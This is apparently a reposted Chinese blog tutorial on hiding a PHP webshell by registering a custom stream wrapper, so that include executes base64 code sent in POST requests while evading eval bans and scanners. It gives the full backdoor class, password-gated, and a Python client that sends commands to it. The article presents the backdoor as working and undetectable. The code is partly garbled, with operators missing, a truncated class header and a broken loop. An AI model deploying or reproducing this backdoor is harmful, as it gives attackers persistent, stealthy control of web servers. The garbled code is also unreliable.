0×00 前言
在Web安全領(lǐng)域WebShell的構(gòu)造與查殺是永不停息的話題,這幾天發(fā)現(xiàn)了一種新型方式生成WebShell,隱蔽度高,目前安全查殺軟件沒法檢測到相關(guān)的后門漏洞,不同于 eval 或則 asset 等方式運行后門,對于這兩個函數(shù)禁用的情況下一樣適用,目前除了禁用相關(guān)函數(shù)還暫時沒有相關(guān)方式來避免漏洞。
0×01 后門原理
在PHP開發(fā)中,我們使用最為頻繁的指令大概就是 include 指令, include 指令中一些比較普通的文件包含漏洞我們就忽略了,先來看看一串代碼:
include 'http://www.test.com/code.php'
我們通過這一串代碼可以很容易的引用外部的PHP程序,但是前提是配置文件允許該行為被執(zhí)行,先看看我的配置項
;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen =Off
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include = Off
從配置文件可以看到,allow_url_include 被我關(guān)閉了,也就是包含遠程代碼是不可能執(zhí)行的,但是我們這里利用了一個東西。http:// 流,我們知道,在PHP中很多東西都是可以通過流包裝器來使用的,比如常見的 php:// 流,我們可以通過 php://input 來獲取輸入流來讀取請求體的內(nèi)容,那么根據(jù)這個思路,我們能不能通過流包裝器來實現(xiàn)代碼執(zhí)行?答案是可行的 通過PHP函數(shù) stream_wrapper_register 注冊包裝器,檢測特定的URL包裝功能,監(jiān)控 include 流,在 include 流中動態(tài)生成PHP代碼,我將通過如下代碼執(zhí)行一個 hello world 程序來證明這個過程
include 'hello://dxkite';
Hello Stream Wrapper 的實現(xiàn)
code = "position = 0;
return true;
}
public function stream_read($count)
{
$ret = substr($this->code, $this->position, $count);
$this->position += strlen($ret);
return $ret;
}
public function stream_tell()
{
return $this->position;
}
public function stream_eof()
{
return $this->position >= strlen($this->code);
}
public function stream_seek($offset, $whence)
{
switch ($whence) {
case SEEK_SET:
if ($offset strlen($this->code) $offset >= 0) {
$this->position = $offset;
return true;
} else {
return false;
}
break;
case SEEK_CUR:
if ($offset >= 0) {
$this->position += $offset;
return true;
} else {
return false;
}
break;
case SEEK_END:
if (strlen($this->code) + $offset >= 0) {
$this->position = strlen($this->code) + $offset;
return true;
} else {
return false;
}
break;
default:
return false;
}
}
public function stream_stat()
{
return stat(FILE);
}
}
stream_wrapper_register('hello', HelloStream::class);
include 'hello://dxkite';
通過如上的代碼,經(jīng)過執(zhí)行后,可以輸出一個 hello worldHelloWorld
0×02 后門示例
通過上述程序,我們實現(xiàn)了通過 include 指令直接執(zhí)行 php ,并插入我們想要的效果,我們現(xiàn)在根據(jù)這個原理寫一個Shell:
后門程序
@link //dxkite.cn
*/
class ShellStream
{
protected $position;
protected $code;
public function stream_open($path, $mode, $options, $opened_path)
{
$url = parse_url($path);
$name = $url["host"];
$this->code = base64_decode($name);
$this->position = 0;
return true;
}
public function stream_read($count)
{
$ret = substr($this->code, $this->position, $count);
$this->position += strlen($ret);
return $ret;
}
public function stream_tell()
{
return $this->position;
}
public function stream_eof()
{
return $this->position >= strlen($this->code);
}
public function stream_seek($offset, $whence)
{
switch ($whence) {
case SEEK_SET:
if ($offset strlen($this->code) $offset >= 0) {
$this->position = $offset;
return true;
} else {
return false;
}
break;
case SEEK_CUR:
if ($offset >= 0) {
$this->position += $offset;
return true;
} else {
return false;
}
break;
case SEEK_END:
if (strlen($this->code) + $offset >= 0) {
$this->position = strlen($this->code) + $offset;
return true;
} else {
return false;
}
break;
default:
return false;
}
}
// include
public function stream_stat()
{
return stat(FILE);
}
// file exists
public function url_stat(string $path,int $stat)
{
return stat(FILE);
}
public static function shell(){
stream_wrapper_register('shell', ShellStream::class);
if (isset($_POST['password']) $_POST['code']) {
if ($_POST['password']=='dxkite') {
$code = $_POST['code'];
include 'shell://'.$code;
} else {
include 'shell://PD9waHAgZWNobyAiaGVsbG8gaGFjayI7';
}
}
}
}
ShellStream::shell();
上述我實現(xiàn)了一個使用 $_POST 作為輸入,接收密碼和php代碼的base64并執(zhí)行代碼的后門利用程序
import requests
import base64
import sys
def send_raw(url,password,cmd):
res=requests.post(url,{
'password':password,
'code': base64.b64encode(cmd.encode('utf-8'))
})
return res.text
def send_php_shell(url,password,cmd):
return send_raw(url,password,'')
if cmd == 'exit':
break
elif cmd.startswith('run'):
cmd,path = cmd.split(' ',1)
code = ''
with open(path) as f:
for line in f:
code = code + line + "\r\n"
response = send_raw(url,password,code);
print(response)
else:
response = send_php_shell(url,password,cmd);
print(response)
我們把我們的 shell.php 部署到服務器上,執(zhí)行測試 shell.py :
php-shell.png
其中,test.php 的內(nèi)容為:
?php
include 'PD9waHAgZWNobyAiaGVsbG8gc2hlbGxcclxuIjs';
echo 'hello, shell world';
0×03 后門查殺
百度在線掃描
安全狗本地掃描
總結(jié)
以上所述是小編給大家介紹的PHP使用流包裝器實現(xiàn)WebShell的方法,希望對大家有所幫助,如果大家有任何疑問歡迎給我留言,小編會及時回復大家的!
您可能感興趣的文章:- php木馬webshell掃描器代碼
- 精確查找PHP WEBSHELL木馬 修正版
- 精確查找PHP WEBSHELL木馬的方法(1)
- PHP webshell檢查工具 python實現(xiàn)代碼
- phpMyAdmin 后臺拿webshell